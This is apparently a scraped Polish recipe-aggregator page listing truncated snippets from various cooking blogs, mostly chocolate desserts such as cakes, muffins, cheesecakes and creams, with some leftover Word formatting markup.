Tradycyjna kuchnia Kasi
Rolada malinowa z bananami 175

pytać... ale dodam tylko że piana z białek po prostu lepiej się ubija. Dodatki: Do mąki możemy wedle upodobań dodawać zmielone migdały bądź orzechy, kakao, starte skórki z cytrusów, czekoladę czy też kawę. Moim ulubionym dodatkiem jednak jest domowej roboty ekstrakt waniliowy.  Mam nadzieję, że informacje okażą się przydatne... bo wiadomo, że czasem najprostsze ciasto sprawia najwięcej problemów(...)śmietany 36 % 4 łyżki proszku typu nesquick (u mnie Kaba malinowa) Ponadto:  1 łyżka dżemu malinowego wymieszanej z wódki lub wody  1 dojrzały banan  roztopiona czekolada do dekoracji wierzchu,  Wykonanie : 1. Białka oddzielić od żółtek. Żółtka utrzeć z cukrem oraz ekstraktem na gładką, jednolitą masę do całkowitego rozpuszczenia się cukru. Do masy porcjami dodawać przesianą mąkę

vaniliowoczekoladowa
jogurtowo galaretkowe babeczki z czekoladą i posypką... 132

Składniki: gorąca woda 400 ml, żelatyna 1 łyżeczka, galaretka owoce leśne 1 opakowanie, czekolada mleczna 100 gram, kolorowa posypka DELECTA - ile potrzeba, jogurt naturalny 150 gram żelatynę i galaretkę dokładnie rozmieszać w 400 ml gorącej wody i wystudzić, do chłodnej galaretki wlać jogurt i dobrze wymieszać foremki kładę na desce i można je łatwo przenosić, do foremek silikonowych z kominkiem(...)włożyć kawałeczki czekolady, użyłam czekoladę smak tiramisu, wsypać 2 rodzaje posypki do pełna wlać galaretkę jogurtową i schować do lodówki do stężenia, najlepiej na całą noc babeczki galaretkowe przełożyć na talerz - są bardzo lekkie, smaczne i mało kaoryczne.............SMACZNEGO

W Mojej Kuchni Lubię
Babka krówkowa w polewie czekoladowej. 140

Witajcie :) tak na szybko przy sobocie zostawiam Wam babkę krówkową w polewie z Wiśni w czekoladzie Eterno . Pyszna, puszysta szybko znika z talerzyków :) Zapraszam :) Składniki : 2,5 szklanki mąki tortowej 2 łyżeczki proszku do pieczenia 1/2 szklanki oleju nie pełna  szklanka oranżady czerwonej 2 kopiaste łyżki masy krówkowej 5 jajek 1 szklanka cukru 1 cukier waniliowy  Wiśnie(...)czekoladzie Eterno  wiórki kokosowe   Wykonanie : Jajka ubić z cukrem i cukrem waniliowym na gęsty kogel mogel, następnie stopniowo dodawać mąkę z proszkiem, olej, masę krówkową i oranżadę, wszystko delikatnie wymieszać. Formę z kominkiem natłuścić margaryną, przelać ciasto. Piec w temperaturze 180 stopni około 50 / 55 minut do suchego patyczka. Wiśnie w czekoladzie lekko podgrzać i polać nimi zimną

Sama słodycz i szczypta chili
Muffinki z bakaliami 154

łyżka cukru waniliowego, 1 łyżeczka proszku do pieczenia, 1/2 opakowania kandyzowanej skórki keksowej MAKAR , 1/2 opakowania kandyzowanej skórki pomarańczowej MAKAR, 50g rodzynek i żurawiny MAKAR, 1 tabliczka białej czekolady, kandyzowana papaja w kostkach MAKAR do dekoracji. PRZYGOTOWANIE: 1. Mąkę mieszam z cukrem, cukrem waniliowym, proszkiem do pieczenia i bakaliami. Jajka mieszam trzepaczką z mlekiem i olejem. Masę płynną stopniowo dodaję(...)suchych składników. Dokładnie mieszam. 2. Ciasto przekładam do papilotek ułożonych na blaszce na muffiny (do 3/4 wysokości). Piekę około 20 minut w temperaturze 200 stopni. 3. Czekoladę łamię na kostki i rozpuszczam nad kąpielą wodną. Rozpuszczoną czekoladą polewam upieczone muffinki. Wierzch muffinek dekoruję kandyzowanymi kostkami papaji. Do przygotowania muffinek wykorzystałam bakalie, które otrzymałam do testowania od firmy MAKAR . Bakalie MAKAR

Tradycyjna kuchnia Kasi
Czekoladowy deser z grillowaną gruszką 138

czekoladową słodycz ;) Oczywiście nie traci on na smaku, ale przez to nie widać uroczych, charakterystycznych grillowanych paseczków. Składniki: (na 2 porcje) 1 słodka i miękka gruszka 3 kostki czekolady - polecam mleczną czekoladę z truskawkami i malinami EkoFlorka 2 gałki czekoladowych lodów niezbędna będzie również patelnia grillowa Przygotowanie: Gruszkę dzielimy na dwie części, usuwamy ogonek i gniazdo nasienne (tworząc wgłębienie(...)gruszka stabilnie leżała na talerzu. Rozgrzewamy patelnię grillową. Grillujemy gruszkę z obu stron do uzyskania delikatnych charakterystycznych pasków. W każdej połówce gruszki umieszczamy gałkę lodów, a całość posypujemy czekoladą starta na małych oczkach. Deser podajemy od razu (ciepły). Smacznego

Słodkie okruszki
SMOOTHIE ŚLIWKA W CZEKOLADZIE 86

lubi śliwek w czekoladzie? Ja zazwyczaj, nie mogę przejść obok nich obojętnie ;) Dzisiaj znalazłam na nie inny pomysł. Pyszne i pożywne smoothie. Spróbujecie? SKŁADNIKI: 2 zamrożone banany 2 łyżeczki kakao 4 suszone śliwki 1/4 łyżeczki cynamonu  2 łyżki płatków owsianych 1 łyżeczka miodu 500 ml naturalnego jogurtu 1 łyżka startej czekolady A jak to zrobić: Banana obrać ze skóry(...)pokroić na mniejsze kawałki. Wrzucić do blendera i miksować przez około 30 sekund. Dodać wszystkie pozostałe składniki i zmiksować na gładko. Przelać do szklanek, wierzch oprószyć startą czekoladą

Kuchnia w opałach
Tarta Wielkanocna a la Pascha Pwała Małeckiego 181

Wielkanocnego wypiekania z Lidlem ", bardzo udana wariacja nt. tradycyjnej paschy. Do dekoracji Paweł wykorzystał suszone owoce i gotowe elementy dekoracyjne, dostępne w świątecznej ofercie Lidla, oraz spaghetti z białej czekolady, które możecie przygotować sami.  Trzeba mocno schłodzić płaski kamień do wypieków lub talerz, białą czekoladę rozpuścić w kąpieli wodnej, przelać do wcześniej przygotowanego rożka z papieru do pieczenia, szczelnie(...)zawinąć, żeby czekolada się nie wylała, odciąć czubek rożka (1 mm) i cienkim strumieniem szybko wylewać na zamrożone podłoże. Plastyczny makaron zwinąć formując gniazdko i już :) Porcja:  forma do tarty około 18-20 cm Składniki: Kruche ciasto pistacjowe   75 g zmielonych na mączkę pistacji (kilka pistacji pozostawiamy w całości do dekoracji)   120 g mąki pszennej

SzczyptaSmaQ
Czekoladowe trufle w buraczanym pudrze. 206

młynek do kawy .Mój niestety odmówił współpracy już dawno temu ,więc musiałam puder ucierać ręcznie .Ale co to była za radocha!. Składniki: około 20 małych trufli 100 g gorzkiej czekolady 75 ml mleczka kokosowego 1 łyżka oleju kokosowego szczypta soli Puder buraczany : jeden mały surowy burak Zaczynamy od pudru oczywiście.Buraka myjemy , obieramy i kroimy na jak najcieńsze plasterki . Mogą(...)słaba .Radzę sprawdzać je co chwilkę ,czy aby nie zamieniły się w czarne węgielki . Jeśli wasz piekarnik ma moc ,to może lepiej suszcie w 100 stopniach. Teraz trufle . Czekoladę roztapiamy w kąpieli wodnej .Ustawiamy mały garnek z wrzącą wodą a na nim miseczkę z naszą czekoladą ,połamaną na kawałki .Mieszamy ,aż się rozpuści .Dno miseczki nie może dotykać garnka

Ladylaura.
Muffinki matcha – wegańskie i bezglutenowe 189

finalnie wyobrażałam sobie swoje kulinarne dzieło: jasnozielone babeczki ze śnieżnobiałą polewą, a na niej ponownie zielony akcent w postaci pistacjowych kawałków. Polewa przygotowana została na bazie wegańskiej białej czekolady, wydaje się więc, że będzie bardzo słodka. Jednak bardzo dobrze komponuje się ze smakiem zielonej herbaty nie przytłaczając jej delikatnego orientalnego aromatu.  Składniki na 12 babeczek: 250 g mąki jaglanej(...)proszku do pieczenia (bezglutenowego) 2 łyżeczki sproszkowanej herbaty matcha 300 ml roślinnego mleka  1/3 szklanki cukru (możesz zastąpić ksylitolem) 50 g oleju kokosowego Polewa: 60 g białej wegańskiej czekolady 80 g cukru pudru 1 ½ łyżki roślinnego mleka  posiekane pistacje do dekoracji  Piekarnik rozgrzej do 190°C. Formę na muffinki wyłóż papilotkami. Do dużej miski przesiej mąki jaglaną

Roślinna - blog wegański
Czekoladowe wegańskie serniczki 199

orzechów nerkowca (moczone w zimnej wodzie przez noc)  2 łyżki syropu klonowego sok z połowy cytryny 2 łyżki oleju kokosowego 3/2 szklanki mleka kokosowego 120 g  gorzkiej czekolady bita śmietana kokosowa  do dekoracji świeże owoce Ciekawe rozwiązania znajdziecie  tutaj Przygotowanie:  spód: daktyle blendujemy na gładką masę, orzechy blebdujemy na  mąkę orzechową, dodajemy kakao(...)sól i wszystko ugniatamy tak, aż powstanie jednolite ciasto. Dzielimy na cztery części i wykładamy spód kokilek wyłożonych papierem pergaminowym, mocno dociskając.  masa sernikowa Czekoladę rozpuść w kąpieli wodnej. Orzechy osusz i wrzuć z pozostałymi składnikami do naczynia miksującego. Wszystko zmiksuj na gładką masę następnie dodaj  rozpuszczoną czekoladę i wymieszaj, aż ładnie się połączy

Niezły Młynek
Ciasto czekoladowo-buraczane. 138

sprawą ciasto jest wilgotne i unikatowe w smaku. Do tego ciasta dodaje się surowe buraczki, choć widziałam przepisy przeważnie z gotowanymi albo pieczonymi. Przepis wzięłam z książeczki "Czekolada" Edith Bailey, zmieniając kilka składników. Polecam!   CIASTO CZEKOLADOWO-BURACZANE.           Składniki: Ciasto: 225 g mąki tortowej 30 g kakao 1 łyżeczka proszku do pieczenia 1 łyżeczka sody(...)brązowego cukru 120 ml kwaśnej śmietany 90 ml oleju  1 łyżeczka ekstraktu waniliowego 150 g suszonej żurawiny 300 g startych surowych buraczków Polewa: 100 g gorzkiej czekolady 100 ml śmietany 30% 1 łyżeczka ekstraktu waniliowego           Sposób przyrządzania:             Suszoną żurawinę zalać gorącą wodą na kilka minut, po czy osączyć

Zakątek rozkoszy kulinarnych
Mazurek czekoladowy 133

wiosenną z motylkami. Ciasto 250 g mąki 125 g masła 125 g śmietany 1/2 łyżeczki proszku do pieczenia 2 łyżki cukru pudru Polewa 200 g śmietany kremówki 100 g czekolady mlecznej lub gorzkiej Dekoracja posypka płatki migdałów Mąkę przesiać na stolnicę dodać posiekane zimne masło, proszek do pieczenia, cukier puder i śmietanę. Wszystko szybko zagnieść na gładkie ciasto. Zawinąć(...)wyłożoną papierem do pieczenia ułożyć ciasto i piec w piekarniku nagrzanym do 200 stopni C do momentu aż ciasto będzie rumiane. Śmietanę podgrzać, ale nie gotować i zalać pokruszoną czekoladę. Mieszać do całkowitego rozpuszczenia się czekolady. Wlać na ciasto. Mazurek udekorować dowolnie. mazurek czekoladowy

O kuchni z uczuciem
,,Bakaliowo waniliowy blok z mlekiem w proszku’’ 135

Zapraszam na słodki biały blok mleczny z kolorowymi bakaliami. Blok czekoladowy zawsze kojarzył mi się z dzieciństwem, chwilami pełnymi szczęścia i beztroski. Jeśli lubicie obłędnie słodką białą czekoladę z waniliową nutą, z mnóstwem dodatków musicie go wypróbować. Nie łatwo mu się oprzeć Składniki: • 250 g mleka w proszku (2 niepełne szklanki) • 125 g masła • 50 g cukru (1/4 szklanki(...)łyżeczki cukru waniliowego • 100 ml wody (mniej niż pół szklanki) • 300g Mieszanki bakaliowej (orzechów, pistacje, migdały) suszone kolorowe owoce (ananas, papaja, żurawina, rodzynki) • 20 g białej połamanej czekolady • 220 g herbatników Wykonanie: W rondelku rozpuszczamy masło wraz z wodą i cukrem. Dokładnie mieszamy i odstawiamy do lekkiego przestudzenia. W dużym naczyniu mieszamy mleko w proszku i wszystkie pokrojone bakalie rozkruszone

Podróż w kulinaria
Babeczki z makiem i wiśnią w czekoladzie . 146

Witajcie :) Nie długo święta więc kolejna propozycja pysznych babeczek z makiem i  Wiśnią w czekoladzie od Eterno . Do upieczenia babeczek użyłam papilotek od  PapilArt . Zapraszam do wypróbowania bo są pyszne :) Składniki : 200 g mąki tortowej 200 g cukru 1 cukier waniliowy 2 płaskie łyżeczki proszku do pieczenia 4 jajka 200 g masła 1 kopiasta łyżka maku Wiśnie(...)czekoladzie od Eterno Lukier: 4 łyżki cukru pudru 1.5 łyżki soku z cytryny na czubeczek wykałaczki fioletowego barwnika Wykonanie : Jajka ubić z cukrem i cukrem waniliowym na gęsty kogel mogel, następnie dodać roztopione masło, mąkę z proszkiem i mak. Delikatnie wymieszać. Do papilotek nakładać ciasto do 3/4 wysokość a następnie po jednej wiśni w czekoladzie. Piec w temperaturze 180 stopni

Sama słodycz i szczypta chili
Dietetyczny sernik na jogurtach 279

szło mi w parze z sernikiem ;) Pomyślałam jednak, że nazwa jest adekwatna, bo kalorii ma znacznie mniej niż standardowy serniczek. Jest lekki, puszysty, a w połączeniu z gorzką czekoladą i odrobiną skórki pomarańczowej obłędnie pyszny ;)  Myślę, że to fajny pomysł na nadchodzącą Wielkanoc, gdzie pośród dosyć kalorycznych dań, jeszcze "jeden malutki kawałek serniczka" nie zrujnuje doszczętnie naszej diety ;) Polecam(...)łyżki mleka Masa: 800g jogurtu naturalnego 3/4 szklanki cukru brązowego 4 białka 2 budynie śmietankowe w proszku (bez cukru) przyprawa do sernika* (opcjonalnie) szczypta soli Polewa: 6 kostek gorzkiej czekolady 2 łyżki skórki pomarańczowej Składniki na spód mieszamy razem i wylewamy do tortownicy wyłożonej papierem do pieczenia. Pieczemy 10 minut w 180 stopniach. Białka ubijam na sztywną pianę ze szczyptą

Czerwona Porzeczka
Sernik Cappuccino 244

szklanka cukru pudru 2 opakowania budyniu śmietankowego ok, 10-12 łyżek cappuccino w proszku 2 łyżki likieru kawowego (można pominąć) garść czekoladowych łezek ( u mnie  z gorzkiej czekolady)  Pianka bezowa: 4 białka  10 łyżek cukru drobnego  Dekoracja :  3 kostki mlecznej czekolady startej na tarce.  Wykonanie: . 1. Blachę do pieczenia o wymiarach(...)równo rozprowadzając ją po całej powierzchni. 4. Ciasto piec jeszcze od 10-15 minut do uzyskania chrupiącego złocistego wierzchu.  5.  Gotowe ciasto wystudzić i posypać wiórkami startej czekolady.  buon   appetito

vaniliowoczekoladowa
ciasto adwokatowe 129

piątek, a od poniedziałku z nową werwą podjąć dalszą walkę z "zachciankami". Dlatego w weekendy mogę sobie bez wyrzutów sumienia pozwolić na kawałek ciasta - choćby takiego... Biszkopt, kawa, adwokat, czekolada - prawda, że brzmi zachęcająco? Wygląda i smakuje pysznie:) Może ktoś skusi się i przygotuje takie na Wielkanoc? Ja mam je w planach, w wersji z bitą śmietaną jeszcze... składniki: biszkopt(...)szkl cukru cukier waniliowy 2,5 łyżki mąki pszennej 5 łyżek mąki ziemniaczanej 3 żółtka 200 g miękkiego masła 180 ml likieru jajecznego "adwokat" polewa: 100 g ciemnej, gorzkiej czekolady 3 łyżki mleka ponadto: podłużne biszkopty filiżanka mocnej, słodkiej kawy kakao Jaja ubić z dodatkiem wody i cukru. Delikatnie wmieszać obie mąki przesiane z proszkiem do pieczenia i kakao. Wylać

6niebo
Muffinki z masą kajmakową 173

szklanki drobnego cukru do wypieków 0,5 łyżeczki sody oczyszczonej 2 jajka 1 łyżka soku z cytryny 1/3 szklanki śmietany kremówki pół puszki masy kajmakowej 15 kostek czekolady   wykonanie: Wszystkie składniki należy wyjąć z lodówki około godziny przed rozpoczęciem przyrządzania ciasta. Masło ucieramy z cukrem na puszystą masę. Dodajemy pojedynczo jajka, bardzo dokładnie mieszając. Mąki i sodę łączymy(...)mąki oraz połowę kremówki i dokładnie mieszkamy. Następnie dodajemy sok z cytryny oraz pozostałą mąkę oraz kremówkę i wszystko bardzo dokładnie miksujemy. Na spodzie foremki do muffinki umieszczamy kostkę czekolady, następnie uzupełniamy foremkę do około połowy ciastem Piekarnik nagrzewamy do 180 stopni. I wkładamy muffinki, pieczemy około 20 minut Gdy babeczki wystygną smarujemy je masą kajmakową. ja posypałam na spodzie

Ania i Marcin gotują
Babka kakaowa ucierana 148

szklanka maki pszennej 100 g masła 3/4 szklanki cukru pudru 1/2 szklanki mleka 3 łyżki kakao 1 łyżeczka proszku do pieczenia Polewa 200 g śmietany kremówki 100 g czekolady mlecznej Masło utrzeć z cukrem pudrem na puszystą masę. Dodawać po jednym jajku stale ucierając. Mąkę wymieszać z kakao, proszkiem do pieczenia i dodawać na przemian z mlekiem ucierając ciasto. Formę(...)stopni C około 45 minut. Sprawdzić patyczkiem czy ciasto jest upieczone, a w razie potrzeby przedłużyć czas pieczenia. Śmietanę mocno podgrzać, ale nie gotować i zalać nią pokruszoną czekoladę. Mieszać do rozpuszczenia się całkowitego czekolady. Polać babkę i udekorować posypką. babka kakaowa ucierana

O kuchni z uczuciem
sernik kawowy 159

sera na sernik 5 jajek szklanka cukru 2 opakowania budyniu waniliowego  1/3 szklanki oleju 2 łyżeczki kawy rozpuszczalnej łyżeczka kawy mielonej łyżka kakao dodatkowo: 100 g białej czekolady 2-3 łyżki mleka łyżeczka kawy rozpuszczalnej  Do trzech osobnych szklanek wsypać kawę mieloną, kakao i kawę rozpuszczalną. Każdą z nich zalać dwiema łyżkami wrzątku, wymieszać i wystudzić. Białka oddzielić(...)warstwę z kawą rozpuszczalną i piec całość w 180*C około 30 minut a następnie jeszcze kwadrans w 150*C. Po upieczeniu sernik zostawić na chwilę w uchylonym piekarniku. Czekoladę połamać do miski, kawę rozpuścić w mleku i wlać do czekolady. Rozpuścić nad parą i polać sernik.  Szeroką gamę kaw i ciekawych informacji znajdziecie tutaj: klik  w serwisie

Domowa Cukierenka-Domowa Kuchnia
Krem pomarańczowy 178

false false false PL X-NONE X-NONE KREM POMARAŃCZOWY Składniki: 1 budyń waniliowy 1 galaretka pomarańczowa 1/2 litra soku pomarańczowego (najlepiej  świeżo wyciskanego) 1/2 tabliczki białej czekolady 100 g masła lub margaryny  /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority(...)budyń. Resztę soku  podgrzewamy w rondelku. Kiedy sok zacznie się gotować wlewamy budyń, a kiedy ten zacznie gęstnieć dodajemy galaretkę i mieszamy energicznie. Następnie wrzucamy do rondla pokruszoną czekoladę oraz margarynę. Zdejmujemy z ognia i mieszamy wszystko do dokładnego połączenia margaryny i czekolady z budyniem. Lekko przestudzony krem podajemy posypany kandyzowaną skórką pomarańczową lub płatkami migdałowymi. Zupełnie zimny

Bon appetit mon amie
Krem czekoladowy bez czekolady 105

wygląda krem czekoladowy bez czekolady? A no właśnie tak.  Czy to możliwe? Oczywiście, że tak. To jest naprawdę możliwe.  Wygląda jak krem z  czekolady, a nie ma w nim jej ani grama. Dzisiejszy krem jest alternatywą dla tradycyjnego kalorycznego kremu czekoladowego, nie zawiera cukru i tłuszczu, które mają w sobie kremy robione na bazie albo z dodatkiem(...)czekolady. KREM CZEKOLADOWY Z AWOKADO Składniki: (na 2 porcje)  1 duże dojrzałe avocado 1 banan 2 łyżeczki kakao miód do osłodzenia Przygotowanie: Banana i avocado obieramy, kroimy i wrzucamy do blendera. Dodajemy kakao i miksujemy. Dosładzamy do smaku miodem według uznania

Bon appetit mon amie
Pankejki, pomarańcze i żurawina 123

słodkim i aromatycznym sosem pomarańczowym? Jak dla mnie nic. Zawsze kiedy tylko czas na to pozwala rozpieszczam swoje podniebienie nieśpiesznie zrobioną, poranną porcją pankejków. Dzisiaj wersja zimowa - z białą czekoladą, pomarańczą i żurawiną. PANKEJKI z SOSEM POMARAŃCZOWYM i ŻURAWINĄ Składniki: placki: 2 szklanki mąki 2 jajka 1,5 szklanki mleka 75 g masła (przed dodaniem do ciasta musi być rozpuszczone(...)łyżeczki proszku do pieczenia 3 łyżeczki cukru 1 szczypta soli sos: 1/2 tabliczki białej czekolady sok z 1/2 pomarańczy skórka otarta z 1 pomarańczy 1-2 łyżeczki płatków suszonej żurawiny  Przygotowanie: placki: Wszystkie składniki mieszamy na gładkie gęste ciasto i smażymy na rozgrzanej patelni. sos: Czekoladę rozpuszczamy z sokiem pomarańczowym, dodajemy otartą skórkę z pomarańczy. Sosem polewamy pankejki

Bon appetit mon amie
Deser Monte z dodatkami 205

TRND dostałam do testowania deserki Monte z dodatkami. Chyba wszyscy znają Monte i je uwielbiają. Od początku był to pyszny deser w idealnym połączeniu puszystego mlecznego kremu z czekoladą i orzechami laskowymi. Firma Zott zaproponowała nam deser Monte z dodatkami w ośmiu smakach. Monte z dodatkami smakuje wyśmienicie i na pewno każdy znajdzie coś dla siebie i wybierze swój ulubiony(...)się dwa Monte Cherry i Monte Cappuccino Balls. Przedstawiam cała pyszną ósemkę. Monte Cherry z dodatkiem wiśniowego sosu i wisienkami Monte Waffle Sticks z dodatkiem kruchych wafelków pokrytych delikatną czekoladą Monte Cookies z dodatkiem maślanych ciasteczek Monte Choco Balls z dodatkiem czekoladowych kuleczek Monte Crunchy z dodatkiem chrupiących płatków Monte Cappuccino Balls z dodatkiem chrupiących kuleczek o smaku Cappuccino Monte

Kulinarne życie
Tort z wiśniami 182

kiedyś się przyda. Korzystałam z przepisu na tort swarcwaldzki , ale zmieniłam kilka rzeczy, przede wszystkim nie użyłam alkoholu i zmniejszyłam ilość składników do tortownicy 20 cm. Super połączenie wiśni, czekolady i bitej śmietany. Tort nie jest słodki, wspaniale wilgotny. Sprawę ułatwiła mi gotowa frużelina wiśniowa. Składniki: 105 g gorzkiej czekolady 105 g miękkiego masła 100 g drobnego cukru(...)Masa śmietanowa: 550 ml śmietany kremówki (30%) 2 łyżki cukru pudru Masa wiśniowa: Słoik / puszka frużeliny wiśniowej (ja zużyłam około 300 g ) 1. Masło miksujemy z roztopioną lekko ciepłą czekoladą. Rozgrzewamy piekarnik do 170 stopni. 2. Powoli dodajemy po jednym żółtku. Wsypujemy cukier i cały czas miksujemy. 3. Mąkę przesiewamy z proszkiem, dodajemy do masła i mieszamy. 4. Białka ubijamy

NA MOIM TALERZU
Sernik adwokatowy 155

latin; mso-fareast-language:EN-US;} 500g białego sera śmietankowego 200g jogurtu brzoskwiniowego 100g cukru 150ml likieru adwokat 3 łyżki żelatyny 100ml gorącej wody 100ml śmietanki 36% 150g gorzkiej czekolady biszkopty ok. 20szt. Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size(...)biszkopty zostaną przykryte, wykładamy boki tortownicy biszkopcikami, lekko wbijając je w ciasto. Wlewamy resztę masy do tortownicy. Wkładamy do lodówki na 12 godzin.  Śmietankę zagotowujemy, do gorącej dodajemy czekoladę i mieszamy na gładką masę.   Sernik wyjmujemy z foremki, układamy na paterze. Gdy czekolada będzie letnia, ale nadal płynna (należy ją mieszać co kilka chwil) polewamy nią ciasto. Wkładamy

Gotowanie i blogowanie
Miodownik z pianką jagodową 189

Miody Polskie, 150g cukru, 1 płaska łyżeczka sody oczyszczonej, Pianka jagodowa: 1 puszka mleka skondensowanego niesłodzonego, 5 łyżek jagód z syropu, 3 galaretki fioletowe,  Dodatkowo: 1 tabliczka białej czekolady, kakaowa posypka PRZYGOTOWANIE: 1. Ciasto: Mąkę przesiewam na stolnicę. Łączę z masłem. Dodaję jajka, cukier, miód oraz sodę oczyszczoną. Zagniatam ciasto. Ciasto dzielę na dwie równe części. Jedną część ciasta(...)Mleko skondensowane miksuję z jagodami oraz tężejącą galaretką. Masę wykładam na jedno z ciast miodowych. Wyrównuję i przykrywam drugim ciastem. Ciasto wstawiam na dwie godziny do lodówki.  3. Czekoladę łamię na kostki i rozpuszczam nad kąpielą wodną. Na wierzchu ciasta robię z czekolady esy floresy. Całość posypuję kakaową posypką. Do przygotowania ciasta wykorzystałam miód akacjowy Miody Polskie, który otrzymałam

Tradycyjna kuchnia Kasi
Ciasteczka z czekoladą! :) 79

Przepis zapożyczony ze strony: klik :) Składniki: -2 szklanki mąki -2 jajka -150 g. roztopionego masła -200 gram czekolady (ja dałam mleczną i gorzką) -1 szklanka cukru (drobny lub zwykły) -1/2 łyżeczki proszku do pieczenia Sposób przygotowania: Masło rozpuszczamy, odstawiamy z ognia i dodajemy mąkę, cukier, jajka, proszek do pieczenia i pokruszoną w mniejsze kawałeczki czekoladę (ja jedną kostkę czekolady

Magia jedzenia.
MAXI KING A'la Snickers 265

jednych to ciasto przypomina Maxi kinga dla innych Snickersa;) Pyszne, słodkie połączenie czekolady z orzeszkami;) SKŁADNIKI: 1 szklanka mleka 0,5 szklanki cukru kryształu 1-2 cukier wanilinowy mleko w proszku ja użyłam mlekowity oby nie był to granulat musi być pyłek 1,5 kostki masła śmietankowego ( margaryna ciężka i nie komponuje się zbytnio z masą) DODATKOWO: masa kajmakowa (krówkowa(...)herbatniki, na herbatniki masa kajmakowa-całą puszkę równomiernie rozprowadzić.  Na kajmak wyłożyć ponownie herbatniki i drugą część masy mlecznej.  Na masę mleczną zaś wyłożyć herbatniki. Polewa: 2 czekolady mleczne lub białe 200g orzeszków ziemnych solonych 10 łyżek mleka Czekoladę połamać i rozpuścić w mleku. Lekko ostudzić i dodać orzeszki. Wystudzić do takiej konsystencji by nie zastygła. Wyłożyć

Moje Słodkie Piekiełko
Pijana Śliwka pyszne czekoladowe ciasto 124

MASA Czekoladowa: 2 szklanki mleka 1 budyń waniliowy 1 łyżka kakao 3 żółtka 1 łyżka mąki pszennej 1 łyżka mąki ziemniaczanej 5 łyżek cukru 1 cukier wanilinowy 100 g czekolady mlecznej Wedla + 1 łyżka mleka 200 g masła śmietankowego  1,5 szklanki mleka gotujemy z cukrami.  W pozostałym mleku mieszamy żółtka, budyń, kakao i mąki-najlepiej mikserem albo(...)blenderem.Dokładnie rozmieszane składniki dodajemy do gorącego mleka i zagotowujemy.  Masę studzimy.  Śliwki odsączamy zostawiając alkohol.  Czekoladę+ 1 łyżka mleka  topimy w kąpieli wodnej i studzimy.  Miękkie masło ucieramy mikserem dodając po łyżce zimnego budyniu. Następnie dodajemy rozpuszczoną czekoladę i na koniec połowę alkoholu. Alkohol przelewamy do szklanki, którą uzupełniamy do pełna przegotowaną i ostudzoną

Moje Słodkie Piekiełko
Czekoladowa owsianka 99

dnia, dlatego nigdy o nim nie zapominam. Kiedy nie mam zbyt wiele czasu na śniadanie robię owsiankę- właściwie gotuję się sama. Ostatnio wrażenie zrobiła na mnie owsianka z dodatkiem czekolady, które daje mi odpowiednią dawkę energii tuż po przebudzeniu. Idealna na, jeszcze, zimowy poranek. Składniki (na 2 porcje): 1/2 szklanki płatków owsianych górskich 1 szklanka mleka 50 gram jogurtu naturalnego(...)kostek gorzkiej czekolady (o zawartości kakao minimum 70%) 2 łyżki syropu klonowego do podania: karmelizowany banan, kandyzowany ananas, babka płesznik lub inne ulubione owoce np. owoce leśne Płatki zalewam mlekiem i gotuję przez 10-12 minut, aż wchłoną płyn całkowicie. Ściągam z palnika, dodaję czekoladę i dokładnie mieszam do momentu aż się rozpuści. Dodaję jogurt naturalny i mieszam. Gotową owsiankę

Mango Papaja
Mus czekoladowy z advokatem 203

Delikatny i rozpływający się  mus z gorzkiej czekolady do tego słodycz advokatu to dla mnie deser idealny. Robi się go bardzo szybko ale też i szybko znika. Z porcji wychodzą trzy małe słoiczki. Jednak deser jest dosyć kaloryczny więc i porcja według mnie wystarczająca. Do deseru wykorzystałam Advokaat Dalkowski. Składniki: 100 ml kremówki 30% 100 g gorzkiej czekolady(...)jajko Advokaat Dalkowski  bita śmietana w sprayu kuleczki ozdobne Przygotowanie: Kremówka doprowadzić do wrzenia, zdjąć z ognia i dodać połamaną na kawałki czekoladę. Chwilkę pozostawić i dokładnie rozmieszać. Mikserem miksować około 30 sekund. Wbić sparzone jajko i ponownie miksować około 1 minuty. Masę rozlać  do szklanych słoiczków i odłożyć do stężenia na 3-4 godziny do lodówki. Bezpośrednio

Ala piecze i gotuje
Krem z pianek marshmallow i czekolady 233

Moje maluchy są miłośnikami różnego rodzaju musów czekoladowych, kremów...najlepiej żeby wszystko było związane z czekoladą ;) Dlatego co pewien czas przygotowuję im różnego rodzaju kremy. Składniki:     250ml śmietanki 30%     2 gorzkie czekolady     150g pianek marshmallow     40gr masła Przygotowanie:     Pianki marshmallow rozpuścić (na małym ogniu(...)kąpieli wodnej), dodać masło, czekoladę i mieszając czekać aż do rozpuszczenia się składników. Śmietanę ubić i dodać masę z pianek marshmallow, wymieszać lub ubić przez moment mikserem na najniższych obrotach. Wstawić do lodówki aby masa dobrze stężała. Kremem można napełnić np. kruche babeczki

Amatorka kuchenna
Pijak 201

ciasto to taki smak dzieciństwa. Mocno pijany biszkopt, delikatny, słodki krem budyniowy przełamane kwaskowatym dżemem i zwieńczone biszkoptami oblanymi czekoladą. Po prostu pyszne i pięknie wyglądające ciasto. Przepis pochodzi z zeszytu mojej mamy.   Biszkopt: 4 jaja 1 szkl cukru 4 łyżki oleju 1 szkl mąki 1 łyżeczka proszku do pieczenia Ubijamy białka z cukrem, dodajemy żółtka, a gdy się(...)Poncz: 0,5 l wody Olejek rumowy cukier waniliowy sok z cytryny spirytus lub wódka   Dodatkowo: paczka okrągłych biszkoptów słoik kwaśnego dżemu (ja użyłam z czerwonej porzeczki) tabliczka czekolady (u mnie tradycyjnie gorzka, ale może byc też mleczna) kilka łyżek mleka Biszkopt przekrawamy na pół, nasączamy ponczem, smarujemy dżemem i wykładamy połowę kremu. Przykrywamy drugą częścią biszkoptu i wykładamy

Cynamonowe szczęście
Brownie z ziemniakami 151

cukru 2 jajka 100 g zimnych ziemniaków 200 g mąki pszennej 1/2 łyżeczki proszku do pieczenia 1/2 sody oczyszczonej 35 g kakao 1/2 szklanki jogurtu naturalnego 100 g czekolady deserowej Czekoladę posiekać na drobne kawałki, odłożyć. Masło utrzeć z cukrem na jasną, puszystą masę, dodać jajka, dokładnie wymieszać. Mąkę wymieszać z proszkiem do pieczenia, sodą, kakao i posiekaną czekoladą, dodać

Domowa cukiernia Ewy
domowe ciasteczka a la delicje 652

